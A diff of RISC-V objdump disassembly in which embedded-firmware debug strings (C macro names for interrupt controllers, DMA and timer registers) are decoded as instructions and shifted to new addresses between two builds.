-    10f6:	6465                	lui	s0,0x19
-    10f8:	5f5f 2929 4300      	0x430029295f5f
-    10fe:	4d5f5253          	0x4d5f5253
-    1102:	4148                	lw	a0,4(a0)
-    1104:	5452                	lw	s0,52(sp)
-    1106:	4449                	li	s0,18
-    1108:	3120                	fld	fs0,96(a0)
-    110a:	0032                	c.slli	zero,0xc
-    110c:	6164                	flw	fs1,68(a0)
-    110e:	6174                	flw	fa3,68(a0)
-    1110:	5f00                	lw	s0,56(a4)
-    1112:	535f 4749 415f      	0x415f4749535f
-    1118:	4f54                	lw	a3,28(a4)
-    111a:	494d                	li	s2,19
-    111c:	59545f43          	fmadd.s	ft10,fs0,fs5,fa1,unknown
-    1120:	4550                	lw	a2,12(a0)
-    1122:	5f5f 6920 746e      	0x746e69205f5f
-    1128:	5000                	lw	s0,32(s0)
-    112a:	4854                	lw	a3,20(s0)
-    112c:	4552                	lw	a0,20(sp)
-    112e:	4441                	li	s0,16
-    1130:	535f 4f43 4550      	0x45504f43535f
-    1136:	505f 4f52 4543      	0x45434f52505f
-    113c:	30205353          	0x30205353
-    1140:	5f00                	lw	s0,56(a4)
-    1142:	5342                	lw	t1,48(sp)
-    1144:	5f44                	lw	s1,60(a4)
-    1146:	455a4953          	0x455a4953
-    114a:	545f 445f 4645      	0x4645445f545f
-    1150:	4e49                	li	t3,18
-    1152:	4445                	li	s0,17
-    1154:	205f 5f00 425f      	0x425f5f00205f
-    115a:	4749                	li	a4,18
-    115c:	54534547          	0x54534547
-    1160:	415f 494c 4e47      	0x4e47494c415f
-    1166:	454d                	li	a0,19
-    1168:	544e                	lw	s0,240(sp)
-    116a:	5f5f 3120 0036      	0x3631205f5f
-    1170:	5f5f 4e49 3354      	0x33544e495f5f
-    1176:	5f32                	lw	t5,44(sp)
-    1178:	414d                	li	sp,19
-    117a:	5f58                	lw	a4,60(a4)
-    117c:	205f 7830 6637      	0x66377830205f
-    1182:	6666                	flw	fa2,88(sp)
-    1184:	6666                	flw	fa2,88(sp)
-    1186:	6666                	flw	fa2,88(sp)
-    1188:	004c                	addi	a1,sp,4
-    118a:	535f 5f43 4f50      	0x4f505f43535f
-    1190:	5f584953          	0x5f584953
-    1194:	3632                	fld	fa2,296(sp)
-    1196:	565f 5245 4953      	0x49535245565f
-    119c:	31204e4f          	fnmadd.s	ft8,ft0,fs2,ft6,rmm
-    11a0:	3034                	fld	fa3,96(s0)
-    11a2:	5f00                	lw	s0,56(a4)
-    11a4:	535f4353          	0x535f4353
-    11a8:	4950                	lw	a2,20(a0)
-    11aa:	5f4e                	lw	t5,240(sp)
-    11ac:	4f4c                	lw	a1,28(a4)
-    11ae:	20534b43          	fmadd.s	fs6,ft6,ft5,ft4,rmm
-    11b2:	5f003637          	lui	a2,0x5f003
-    11b6:	5346                	lw	t1,112(sp)
-    11b8:	4c48                	lw	a0,28(s0)
-    11ba:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
-    11be:	7830                	flw	fa2,112(s0)
-    11c0:	3030                	fld	fa2,96(s0)
-    11c2:	3038                	fld	fa4,96(s0)
+     ffc:	29746573          	csrrsi	a0,0x297,8
+    1000:	2820                	fld	fs0,80(s0)
+    1002:	282a                	fld	fa6,136(sp)
+    1004:	6f76                	flw	ft10,92(sp)
+    1006:	616c                	flw	fa1,68(a0)
+    1008:	6974                	flw	fa3,84(a0)
+    100a:	656c                	flw	fa1,76(a0)
+    100c:	7520                	flw	fs0,104(a0)
+    100e:	6e69                	lui	t3,0x1a
+    1010:	3374                	fld	fa3,224(a4)
+    1012:	5f32                	lw	t5,44(sp)
+    1014:	2074                	fld	fa3,192(s0)
+    1016:	292a                	fld	fs2,136(sp)
+    1018:	2828                	fld	fa0,80(s0)
+    101a:	6162                	flw	ft2,24(sp)
+    101c:	20296573          	csrrsi	a0,hedeleg,18
+    1020:	6f28202b          	0x6f28202b
+    1024:	6666                	flw	fa2,88(sp)
+    1026:	29746573          	csrrsi	a0,0x297,8
+    102a:	2929                	jal	1444 <__stack_size+0xc44>
+    102c:	5f00                	lw	s0,56(a4)
+    102e:	565f4353          	0x565f4353
+    1032:	5f36                	lw	t5,108(sp)
+    1034:	4c49                	li	s8,18
+    1036:	3350                	fld	fa2,160(a4)
+    1038:	5f32                	lw	t5,44(sp)
+    103a:	4246464f          	fnmadd.d	fa2,fa2,ft4,fs0,rmm
+    103e:	4749                	li	a4,18
+    1040:	5f20                	lw	s0,120(a4)
+    1042:	565f4353          	0x565f4353
+    1046:	4c495f37          	lui	t5,0x4c495
+    104a:	3350                	fld	fa2,160(a4)
+    104c:	5f32                	lw	t5,44(sp)
+    104e:	4246464f          	fnmadd.d	fa2,fa2,ft4,fs0,rmm
+    1052:	4749                	li	a4,18
+    1054:	4100                	lw	s0,0(a0)
+    1056:	5f54                	lw	a3,60(a4)
+    1058:	4552                	lw	a0,20(sp)
+    105a:	4f4d                	li	t5,19
+    105c:	4556                	lw	a0,84(sp)
+    105e:	4944                	lw	s1,20(a0)
+    1060:	2052                	fld	ft0,272(sp)
+    1062:	0038                	addi	a4,sp,8
+    1064:	5f5f 4c46 3354      	0x33544c465f5f
+    106a:	5832                	lw	a6,44(sp)
+    106c:	4d5f 5841 315f      	0x315f58414d5f
+    1072:	5f30                	lw	a2,120(a4)
+    1074:	5845                	li	a6,-15
+    1076:	5f50                	lw	a2,60(a4)
+    1078:	205f 3033 0038      	0x383033205f
+    107e:	535f 5f43 514d      	0x514d5f43535f
+    1084:	4f5f 4550 5f4e      	0x5f4e45504f5f
+    108a:	414d                	li	sp,19
+    108c:	2058                	fld	fa4,128(s0)
+    108e:	3331                	jal	d9a <__stack_size+0x59a>
+    1090:	4300                	lw	s0,0(a4)
+    1092:	4d5f5253          	0x4d5f5253
+    1096:	4148                	lw	a0,4(a0)
+    1098:	5452                	lw	s0,52(sp)
+    109a:	4449                	li	s0,18
+    109c:	3120                	fld	fs0,96(a0)
+    109e:	0032                	c.slli	zero,0xc
+    10a0:	6164                	flw	fs1,68(a0)
+    10a2:	6174                	flw	fa3,68(a0)
+    10a4:	5f00                	lw	s0,56(a4)
+    10a6:	535f 4749 415f      	0x415f4749535f
+    10ac:	4f54                	lw	a3,28(a4)
+    10ae:	494d                	li	s2,19
+    10b0:	59545f43          	fmadd.s	ft10,fs0,fs5,fa1,unknown
+    10b4:	4550                	lw	a2,12(a0)
+    10b6:	5f5f 6920 746e      	0x746e69205f5f
+    10bc:	5000                	lw	s0,32(s0)
+    10be:	4854                	lw	a3,20(s0)
+    10c0:	4552                	lw	a0,20(sp)
+    10c2:	4441                	li	s0,16
+    10c4:	535f 4f43 4550      	0x45504f43535f
+    10ca:	505f 4f52 4543      	0x45434f52505f
+    10d0:	30205353          	0x30205353
+    10d4:	5f00                	lw	s0,56(a4)
+    10d6:	5342                	lw	t1,48(sp)
+    10d8:	5f44                	lw	s1,60(a4)
+    10da:	455a4953          	0x455a4953
+    10de:	545f 445f 4645      	0x4645445f545f
+    10e4:	4e49                	li	t3,18
+    10e6:	4445                	li	s0,17
+    10e8:	205f 5f00 425f      	0x425f5f00205f
+    10ee:	4749                	li	a4,18
+    10f0:	54534547          	0x54534547
+    10f4:	415f 494c 4e47      	0x4e47494c415f
+    10fa:	454d                	li	a0,19
+    10fc:	544e                	lw	s0,240(sp)
+    10fe:	5f5f 3120 0036      	0x3631205f5f
+    1104:	5f5f 4e49 3354      	0x33544e495f5f
+    110a:	5f32                	lw	t5,44(sp)
+    110c:	414d                	li	sp,19
+    110e:	5f58                	lw	a4,60(a4)
+    1110:	205f 7830 6637      	0x66377830205f
+    1116:	6666                	flw	fa2,88(sp)
+    1118:	6666                	flw	fa2,88(sp)
+    111a:	6666                	flw	fa2,88(sp)
+    111c:	004c                	addi	a1,sp,4
+    111e:	535f 5f43 4f50      	0x4f505f43535f
+    1124:	5f584953          	0x5f584953
+    1128:	3632                	fld	fa2,296(sp)
+    112a:	565f 5245 4953      	0x49535245565f
+    1130:	31204e4f          	fnmadd.s	ft8,ft0,fs2,ft6,rmm
+    1134:	3034                	fld	fa3,96(s0)
+    1136:	5f00                	lw	s0,56(a4)
+    1138:	535f4353          	0x535f4353
+    113c:	4950                	lw	a2,20(a0)
+    113e:	5f4e                	lw	t5,240(sp)
+    1140:	4f4c                	lw	a1,28(a4)
+    1142:	20534b43          	fmadd.s	fs6,ft6,ft5,ft4,rmm
+    1146:	5f003637          	lui	a2,0x5f003
+    114a:	5346                	lw	t1,112(sp)
+    114c:	4c48                	lw	a0,28(s0)
+    114e:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
+    1152:	7830                	flw	fa2,112(s0)
+    1154:	3030                	fld	fa2,96(s0)
+    1156:	3038                	fld	fa4,96(s0)
+    1158:	5f00                	lw	s0,56(a4)
+    115a:	4e49                	li	t3,18
+    115c:	5f545f4f          	fnmadd.q	ft10,fs0,fs5,fa1,unknown
+    1160:	4544                	lw	s1,12(a0)
+    1162:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    1166:	4445                	li	s0,17
+    1168:	0020                	addi	s0,sp,8
+    116a:	4c50                	lw	a2,28(s0)
+    116c:	4349                	li	t1,18
+    116e:	435f 414c 4d49      	0x4d49414c435f
+    1174:	4f5f 4646 4553      	0x455346464f5f
+    117a:	2054                	fld	fa3,128(s0)
+    117c:	7830                	flw	fa2,112(s0)
+    117e:	3032                	fld	ft0,296(sp)
+    1180:	3030                	fld	fa2,96(s0)
+    1182:	3430                	fld	fa2,104(s0)
+    1184:	5f00                	lw	s0,56(a4)
+    1186:	565f4353          	0x565f4353
+    118a:	5f36                	lw	t5,108(sp)
+    118c:	4c49                	li	s8,18
+    118e:	3350                	fld	fa2,160(a4)
+    1190:	5f32                	lw	t5,44(sp)
+    1192:	3346464f          	fnmadd.d	fa2,fa2,fs4,ft6,rmm
+    1196:	2032                	fld	ft0,264(sp)
+    1198:	535f 5f43 3756      	0x37565f43535f
+    119e:	495f 504c 3233      	0x3233504c495f
+    11a4:	4f5f 4646 3233      	0x323346464f5f
+    11aa:	5f00                	lw	s0,56(a4)
+    11ac:	555f 4e49 3154      	0x31544e49555f
+    11b2:	5f36                	lw	t5,108(sp)
+    11b4:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    11b8:	6320                	flw	fs0,64(a4)
+    11ba:	4600                	lw	s0,8(a2)
+    11bc:	535f 5445 4c46      	0x4c465445535f
+    11c2:	3420                	fld	fs0,104(s0)
     11c4:	5f00                	lw	s0,56(a4)
-    11c6:	4e49                	li	t3,18
-    11c8:	5f545f4f          	fnmadd.q	ft10,fs0,fs5,fa1,unknown
-    11cc:	4544                	lw	s1,12(a0)
-    11ce:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    11d2:	4445                	li	s0,17
-    11d4:	0020                	addi	s0,sp,8
-    11d6:	4c50                	lw	a2,28(s0)
-    11d8:	4349                	li	t1,18
-    11da:	435f 414c 4d49      	0x4d49414c435f
-    11e0:	4f5f 4646 4553      	0x455346464f5f
-    11e6:	2054                	fld	fa3,128(s0)
-    11e8:	7830                	flw	fa2,112(s0)
-    11ea:	3032                	fld	ft0,296(sp)
-    11ec:	3030                	fld	fa2,96(s0)
-    11ee:	3430                	fld	fa2,104(s0)
-    11f0:	5f00                	lw	s0,56(a4)
-    11f2:	565f4353          	0x565f4353
-    11f6:	5f36                	lw	t5,108(sp)
-    11f8:	4c49                	li	s8,18
-    11fa:	3350                	fld	fa2,160(a4)
-    11fc:	5f32                	lw	t5,44(sp)
-    11fe:	3346464f          	fnmadd.d	fa2,fa2,fs4,ft6,rmm
-    1202:	2032                	fld	ft0,264(sp)
-    1204:	535f 5f43 3756      	0x37565f43535f
-    120a:	495f 504c 3233      	0x3233504c495f
-    1210:	4f5f 4646 3233      	0x323346464f5f
-    1216:	5f00                	lw	s0,56(a4)
-    1218:	555f 4e49 3154      	0x31544e49555f
-    121e:	5f36                	lw	t5,108(sp)
-    1220:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    1224:	6320                	flw	fs0,64(a4)
-    1226:	4600                	lw	s0,8(a2)
-    1228:	535f 5445 4c46      	0x4c465445535f
-    122e:	3420                	fld	fs0,104(s0)
-    1230:	5f00                	lw	s0,56(a4)
-    1232:	495f 544e 4c5f      	0x4c5f544e495f
-    1238:	4145                	li	sp,17
-    123a:	34365453          	0x34365453
-    123e:	545f 5059 5f45      	0x5f455059545f
-    1244:	205f 6f6c 676e      	0x676e6f6c205f
-    124a:	6c20                	flw	fs0,88(s0)
-    124c:	20676e6f          	jal	t3,77452 <__stack_size+0x76c52>
-    1250:	6e69                	lui	t3,0x1a
-    1252:	0074                	addi	a3,sp,12
-    1254:	72727473          	csrrci	s0,0x727,4
-    1258:	00726863          	bltu	tp,t2,1268 <__stack_size+0xa68>
-    125c:	5441                	li	s0,-16
-    125e:	535f 4d59 494c      	0x494c4d59535f
-    1264:	4b4e                	lw	s6,208(sp)
-    1266:	4e5f 464f 4c4f      	0x4c4f464f4e5f
-    126c:	4f4c                	lw	a1,28(a4)
-    126e:	00322057          	0x322057
-    1272:	4955                	li	s2,21
-    1274:	544e                	lw	s0,240(sp)
-    1276:	3631                	jal	d82 <__stack_size+0x582>
-    1278:	435f 6328 2029      	0x20296328435f
-    127e:	5f5f 4955 544e      	0x544e49555f5f
-    1284:	3631                	jal	d90 <__stack_size+0x590>
-    1286:	435f 6328 0029      	0x296328435f
-    128c:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    1292:	615f 7163 6975      	0x69757163615f
-    1298:	6572                	flw	fa0,28(sp)
-    129a:	6c28                	flw	fa0,88(s0)
-    129c:	296b636f          	jal	t1,b7532 <__stack_size+0xb6d32>
-    12a0:	2820                	fld	fs0,80(s0)
-    12a2:	7628                	flw	fa0,104(a2)
-    12a4:	2964696f          	jal	s2,4753a <__stack_size+0x46d3a>
-    12a8:	3020                	fld	fs0,96(s0)
-    12aa:	0029                	c.nop	10
-    12ac:	535f 5f43 454d      	0x454d5f43535f
-    12b2:	4c4d                	li	s8,19
-    12b4:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
-    12b8:	3432                	fld	fs0,296(sp)
-    12ba:	4300                	lw	s0,0(a4)
-    12bc:	494c                	lw	a1,20(a0)
-    12be:	544e                	lw	s0,240(sp)
-    12c0:	4d5f 4954 454d      	0x454d49544d5f
-    12c6:	20504d43          	fmadd.s	fs10,ft0,ft5,ft4,rmm
-    12ca:	7830                	flw	fa2,112(s0)
-    12cc:	3034                	fld	fa3,96(s0)
-    12ce:	3030                	fld	fa2,96(s0)
-    12d0:	5500                	lw	s0,40(a0)
-    12d2:	4e49                	li	t3,18
-    12d4:	4d54                	lw	a3,28(a0)
-    12d6:	5841                	li	a6,-16
-    12d8:	4d5f 5841 5f00      	0x5f0058414d5f
-    12de:	725f 7165 6975      	0x69757165725f
-    12e4:	6572                	flw	fa0,28(sp)
-    12e6:	6e755f73          	csrrwi	t5,0x6e7,10
-    12ea:	6f6c                	flw	fa1,92(a4)
-    12ec:	64656b63          	bltu	a0,t1,1942 <__stack_size+0x1142>
-    12f0:	2e28                	fld	fa0,88(a2)
-    12f2:	2e2e                	fld	ft8,200(sp)
-    12f4:	2029                	jal	12fe <__stack_size+0xafe>
-    12f6:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
-    12fc:	615f 6e6e 746f      	0x746f6e6e615f
-    1302:	7461                	lui	s0,0xffff8
-    1304:	2865                	jal	13bc <__stack_size+0xbbc>
-    1306:	6f6c                	flw	fa1,92(a4)
-    1308:	5f736b63          	bltu	t1,s7,18fe <__stack_size+0x10fe>
-    130c:	7865                	lui	a6,0xffff9
-    130e:	64756c63          	bltu	a0,t2,1966 <__stack_size+0x1166>
-    1312:	6465                	lui	s0,0x19
-    1314:	5f28                	lw	a0,120(a4)
-    1316:	565f 5f41 5241      	0x52415f41565f
-    131c:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
-    1320:	2929                	jal	173a <__stack_size+0xf3a>
-    1322:	4600                	lw	s0,8(a2)
-    1324:	475f 5445 4c46      	0x4c465445475f
-    132a:	3320                	fld	fs0,96(a4)
-    132c:	5f00                	lw	s0,56(a4)
-    132e:	5f5f 6e69 5f74      	0x5f746e695f5f
-    1334:	61686377          	0x61686377
-    1338:	5f72                	lw	t5,60(sp)
-    133a:	5f74                	lw	a3,124(a4)
-    133c:	2068                	fld	fa0,192(s0)
-    133e:	5f00                	lw	s0,56(a4)
-    1340:	535f 5359 4c5f      	0x4c5f5359535f
-    1346:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
-    134a:	5f48                	lw	a0,60(a4)
-    134c:	205f 5f00 4552      	0x45525f00205f
-    1352:	4e45                	li	t3,17
-    1354:	5f54                	lw	a3,60(a4)
-    1356:	43454843          	fmadd.d	fa6,fa0,fs4,fs0,rmm
-    135a:	53415f4b          	fnmsub.d	ft10,ft2,fs4,fa0,unknown
-    135e:	4d495443          	0x4d495443
-    1362:	5f45                	li	t5,-15
-    1364:	5542                	lw	a0,48(sp)
-    1366:	2846                	fld	fa6,80(sp)
-    1368:	7470                	flw	fa2,108(s0)
-    136a:	2972                	fld	fs2,280(sp)
-    136c:	0020                	addi	s0,sp,8
-    136e:	4955                	li	s2,21
-    1370:	544e                	lw	s0,240(sp)
-    1372:	414d                	li	sp,19
-    1374:	5f58                	lw	a4,60(a4)
-    1376:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    137a:	5f20                	lw	s0,120(a4)
-    137c:	555f 4e49 4d54      	0x4d544e49555f
-    1382:	5841                	li	a6,-16
-    1384:	435f 6328 0029      	0x296328435f
-    138a:	5f5f 4244 5f4c      	0x5f4c42445f5f
-    1390:	5045                	c.li	zero,-15
-    1392:	4f4c4953          	0x4f4c4953
-    1396:	5f4e                	lw	t5,240(sp)
-    1398:	205f 2828 6f64      	0x6f642828205f
-    139e:	6275                	lui	tp,0x1d
-    13a0:	656c                	flw	fa1,76(a0)
-    13a2:	3229                	jal	cac <__stack_size+0x4ac>
-    13a4:	322e                	fld	ft4,232(sp)
-    13a6:	3032                	fld	ft0,296(sp)
-    13a8:	3434                	fld	fa3,104(s0)
-    13aa:	3036                	fld	ft0,360(sp)
-    13ac:	3934                	fld	fa3,112(a0)
-    13ae:	3532                	fld	fa0,296(sp)
-    13b0:	3330                	fld	fa2,96(a4)
-    13b2:	3331                	jal	10be <__stack_size+0x8be>
-    13b4:	3830                	fld	fa2,112(s0)
-    13b6:	3830                	fld	fa2,112(s0)
-    13b8:	3734                	fld	fa3,104(a4)
-    13ba:	3632                	fld	fa2,296(sp)
-    13bc:	36333333          	0x36333333
-    13c0:	3831                	jal	bdc <__stack_size+0x3dc>
-    13c2:	3631                	jal	ece <__stack_size+0x6ce>
-    13c4:	3034                	fld	fa3,96(s0)
-    13c6:	3236                	fld	ft4,360(sp)
-    13c8:	2d65                	jal	1a80 <__stack_size+0x1280>
-    13ca:	3631                	jal	ed6 <__stack_size+0x6d6>
-    13cc:	294c                	fld	fa1,144(a0)
-    13ce:	6600                	flw	fs0,8(a2)
-    13d0:	7265                	lui	tp,0xffff9
-    13d2:	6f72                	flw	ft10,28(sp)
-    13d4:	2872                	fld	fa6,280(sp)
-    13d6:	2970                	fld	fa2,208(a0)
-    13d8:	5f20                	lw	s0,120(a4)
-    13da:	735f 6566 7272      	0x72726566735f
-    13e0:	7028726f          	jal	tp,88ae2 <__stack_size+0x882e2>
-    13e4:	0029                	c.nop	10
-    13e6:	656d                	lui	a0,0x1b
-    13e8:	636d                	lui	t1,0x1b
-    13ea:	7970                	flw	fa2,116(a0)
-    13ec:	5f00                	lw	s0,56(a4)
-    13ee:	645f 6165 3264      	0x32646165645f
-    13f4:	5f20                	lw	s0,120(a4)
-    13f6:	615f 7474 6972      	0x69727474615f
-    13fc:	7562                	flw	fa0,56(sp)
-    13fe:	6574                	flw	fa3,76(a0)
-    1400:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    1406:	6f6e                	flw	ft10,216(sp)
-    1408:	6572                	flw	fa0,28(sp)
-    140a:	7574                	flw	fa3,108(a0)
-    140c:	6e72                	flw	ft8,28(sp)
-    140e:	5f5f 2929 5f00      	0x5f0029295f5f
-    1414:	4552                	lw	a0,20(sp)
-    1416:	4e45                	li	t3,17
-    1418:	5f54                	lw	a3,60(a4)
-    141a:	5341                	li	t1,-16
-    141c:	4d495443          	0x4d495443
-    1420:	5f45                	li	t5,-15
-    1422:	455a4953          	0x455a4953
-    1426:	3220                	fld	fs0,96(a2)
-    1428:	0036                	c.slli	zero,0xd
-    142a:	5f5f 4955 544e      	0x544e49555f5f
-    1430:	5f38                	lw	a4,120(a4)
-    1432:	5954                	lw	a3,52(a0)
-    1434:	4550                	lw	a2,12(a0)
-    1436:	5f5f 7520 736e      	0x736e75205f5f
-    143c:	6769                	lui	a4,0x1a
-    143e:	656e                	flw	fa0,216(sp)
-    1440:	2064                	fld	fs1,192(s0)
-    1442:	72616863          	bltu	sp,t1,1b72 <__stack_size+0x1372>
-    1446:	4400                	lw	s0,8(s0)
-    1448:	414d                	li	sp,19
-    144a:	435f 5f48 5443      	0x54435f48435f
-    1450:	4c52                	lw	s8,20(sp)
-    1452:	4f5f 4646 3020      	0x302046464f5f
-    1458:	3478                	fld	fa4,232(s0)
-    145a:	0034                	addi	a3,sp,8
-    145c:	495f 4946 4f46      	0x4f464946495f
-    1462:	3020                	fld	fs0,96(s0)
-    1464:	3130                	fld	fa2,96(a0)
-    1466:	3030                	fld	fa2,96(s0)
-    1468:	3030                	fld	fa2,96(s0)
-    146a:	5f00                	lw	s0,56(a4)
-    146c:	4552                	lw	a0,20(sp)
-    146e:	4e45                	li	t3,17
-    1470:	5f54                	lw	a3,60(a4)
-    1472:	424d                	li	tp,19
-    1474:	454c                	lw	a1,12(a0)
-    1476:	5f4e                	lw	t5,240(sp)
-    1478:	54415453          	0x54415453
-    147c:	2845                	jal	152c <__stack_size+0xd2c>
-    147e:	7470                	flw	fa2,108(s0)
-    1480:	2972                	fld	fs2,280(sp)
-    1482:	2820                	fld	fs0,80(s0)
-    1484:	7028                	flw	fa0,96(s0)
-    1486:	7274                	flw	fa3,100(a2)
-    1488:	2d29                	jal	1aa2 <__stack_size+0x12a2>
-    148a:	5f3e                	lw	t5,236(sp)
-    148c:	656e                	flw	fa0,216(sp)
-    148e:	725f2e77          	0x725f2e77
-    1492:	6565                	lui	a0,0x19
-    1494:	746e                	flw	fs0,248(sp)
-    1496:	5f2e                	lw	t5,232(sp)
-    1498:	626d                	lui	tp,0x1b
-    149a:	656c                	flw	fa1,76(a0)
-    149c:	5f6e                	lw	t5,248(sp)
-    149e:	74617473          	csrrci	s0,0x746,2
-    14a2:	2965                	jal	195a <__stack_size+0x115a>
-    14a4:	5f00                	lw	s0,56(a4)
-    14a6:	465f 544c 3233      	0x3233544c465f
-    14ac:	4d5f 4e49 315f      	0x315f4e494d5f
-    14b2:	5f30                	lw	a2,120(a4)
-    14b4:	5845                	li	a6,-15
-    14b6:	5f50                	lw	a2,60(a4)
-    14b8:	205f 2d28 3733      	0x37332d28205f
-    14be:	0029                	c.nop	10
-    14c0:	4f4c                	lw	a1,28(a4)
-    14c2:	474e                	lw	a4,208(sp)
-    14c4:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
-    14ca:	494d                	li	s2,19
-    14cc:	004e                	c.slli	zero,0x13
-    14ce:	465f 4f4e 4f46      	0x4f464f4e465f
-    14d4:	4c4c                	lw	a1,28(s0)
-    14d6:	3020574f          	fnmadd.s	fa4,ft0,ft2,ft6,unknown
-    14da:	3178                	fld	fa4,224(a0)
-    14dc:	3030                	fld	fa2,96(s0)
-    14de:	3030                	fld	fa2,96(s0)
-    14e0:	0030                	addi	a2,sp,8
-    14e2:	54524853          	0x54524853
-    14e6:	4d5f 4e49 5300      	0x53004e494d5f
-    14ec:	495f 5552 5253      	0x52535552495f
-    14f2:	3020                	fld	fs0,96(s0)
-    14f4:	3030                	fld	fa2,96(s0)
-    14f6:	3430                	fld	fa2,104(s0)
-    14f8:	3030                	fld	fa2,96(s0)
-    14fa:	5f00                	lw	s0,56(a4)
-    14fc:	4546                	lw	a0,80(sp)
-    14fe:	4558                	lw	a4,12(a0)
-    1500:	43525343          	fmadd.d	ft6,ft4,fs5,fs0,unknown
-    1504:	2048                	fld	fa0,128(s0)
-    1506:	7830                	flw	fa2,112(s0)
-    1508:	3034                	fld	fa3,96(s0)
-    150a:	3030                	fld	fa2,96(s0)
-    150c:	3030                	fld	fa2,96(s0)
-    150e:	5f00                	lw	s0,56(a4)
-    1510:	555f 4e49 4d54      	0x4d544e49555f
-    1516:	5841                	li	a6,-16
-    1518:	545f 5059 5f45      	0x5f455059545f
-    151e:	205f 6f6c 676e      	0x676e6f6c205f
-    1524:	6c20                	flw	fs0,88(s0)
-    1526:	20676e6f          	jal	t3,7772c <__stack_size+0x76f2c>
-    152a:	6e75                	lui	t3,0x1d
-    152c:	6e676973          	csrrsi	s2,0x6e6,14
-    1530:	6465                	lui	s0,0x19
-    1532:	6920                	flw	fs0,80(a0)
-    1534:	746e                	flw	fs0,248(sp)
-    1536:	5f00                	lw	s0,56(a4)
-    1538:	465f 544c 3231      	0x3231544c465f
-    153e:	5f38                	lw	a4,120(a4)
-    1540:	494d                	li	s2,19
-    1542:	5f4e                	lw	t5,240(sp)
-    1544:	5845                	li	a6,-15
-    1546:	5f50                	lw	a2,60(a4)
-    1548:	205f 2d28 3631      	0x36312d28205f
-    154e:	29313833          	0x29313833
-    1552:	5f00                	lw	s0,56(a4)
-    1554:	535f 4454 5f43      	0x5f434454535f
-    155a:	5455                	li	s0,-11
-    155c:	5f46                	lw	t5,112(sp)
-    155e:	5f5f3233          	0x5f5f3233
-    1562:	3120                	fld	fs0,96(a0)
-    1564:	5f00                	lw	s0,56(a4)
-    1566:	495f 544e 4c5f      	0x4c5f544e495f
-    156c:	4145                	li	sp,17
-    156e:	36315453          	0x36315453
-    1572:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    1578:	3020                	fld	fs0,96(s0)
-    157a:	3778                	fld	fa4,232(a4)
-    157c:	6666                	flw	fa2,88(sp)
-    157e:	0066                	c.slli	zero,0x19
-    1580:	6e69                	lui	t3,0x1a
-    1582:	73727473          	csrrci	s0,0x737,4
-    1586:	5f00                	lw	s0,56(a4)
-    1588:	4c5f 434f 5f4b      	0x5f4b434f4c5f
-    158e:	4e49                	li	t3,18
-    1590:	5449                	li	s0,-14
-    1592:	525f 4345 5255      	0x52554345525f
-    1598:	45564953          	0x45564953
-    159c:	6328                	flw	fa0,64(a4)
-    159e:	616c                	flw	fa1,68(a0)
-    15a0:	6c2c7373          	csrrci	t1,0x6c2,24
-    15a4:	296b636f          	jal	t1,b783a <__stack_size+0xb703a>
-    15a8:	7320                	flw	fs0,96(a4)
-    15aa:	6174                	flw	fa3,68(a0)
-    15ac:	6974                	flw	fa3,84(a0)
-    15ae:	6e692063          	0x6e692063
-    15b2:	2074                	fld	fa3,192(s0)
-    15b4:	6f6c                	flw	fa1,92(a4)
-    15b6:	3d206b63          	bltu	zero,s2,198c <__stack_size+0x118c>
-    15ba:	3020                	fld	fs0,96(s0)
-    15bc:	4d5f003b          	0x4d5f003b
-    15c0:	4341                	li	t1,16
-    15c2:	5348                	lw	a0,36(a4)
-    15c4:	4454                	lw	a3,12(s0)
-    15c6:	494c                	lw	a1,20(a0)
-    15c8:	5f42                	lw	t5,48(sp)
-    15ca:	5f48                	lw	a0,60(a4)
-    15cc:	0020                	addi	s0,sp,8
-    15ce:	5f5f 7562 6c69      	0x6c6975625f5f
-    15d4:	6974                	flw	fa3,84(a0)
-    15d6:	5f6e                	lw	t5,248(sp)
-    15d8:	656d                	lui	a0,0x1b
-    15da:	736d                	lui	t1,0xffffb
-    15dc:	7465                	lui	s0,0xffff9
-    15de:	5f00                	lw	s0,56(a4)
-    15e0:	5f535953          	0x5f535953
-    15e4:	54415453          	0x54415453
-    15e8:	485f 0020 5f53      	0x5f530020485f
-    15ee:	5849                	li	a6,-14
-    15f0:	20505247          	fmsub.s	ft4,ft0,ft5,ft4,unknown
-    15f4:	3030                	fld	fa2,96(s0)
-    15f6:	3030                	fld	fa2,96(s0)
-    15f8:	3130                	fld	fa2,96(a0)
-    15fa:	0030                	addi	a2,sp,8
-    15fc:	535f 5f43 4553      	0x45535f43535f
-    1602:	5f4d                	li	t5,-13
-    1604:	4156                	lw	sp,84(sp)
-    1606:	554c                	lw	a1,44(a0)
-    1608:	5f45                	li	t5,-15
-    160a:	414d                	li	sp,19
-    160c:	2058                	fld	fa4,128(s0)
-    160e:	3731                	jal	151a <__stack_size+0xd1a>
-    1610:	5f00                	lw	s0,56(a4)
-    1612:	5f434347          	fmsub.q	ft6,ft6,fs4,fa1,rmm
-    1616:	454e                	lw	a0,208(sp)
-    1618:	5458                	lw	a4,44(s0)
-    161a:	4c5f 4d49 5449      	0x54494d494c5f
-    1620:	00485f53          	fadd.s	ft10,fa6,ft4,unknown
-    1624:	415f 534e 4449      	0x4449534e415f
-    162a:	4345                	li	t1,17
-    162c:	5f4c                	lw	a1,60(a4)
-    162e:	5f48                	lw	a0,60(a4)
-    1630:	0020                	addi	s0,sp,8
-    1632:	5f5f 4955 544e      	0x544e49555f5f
-    1638:	3631                	jal	1144 <__stack_size+0x944>
-    163a:	545f 5059 5f45      	0x5f455059545f
-    1640:	205f 6873 726f      	0x726f6873205f
-    1646:	2074                	fld	fa3,192(s0)
-    1648:	6e75                	lui	t3,0x1d
-    164a:	6e676973          	csrrsi	s2,0x6e6,14
-    164e:	6465                	lui	s0,0x19
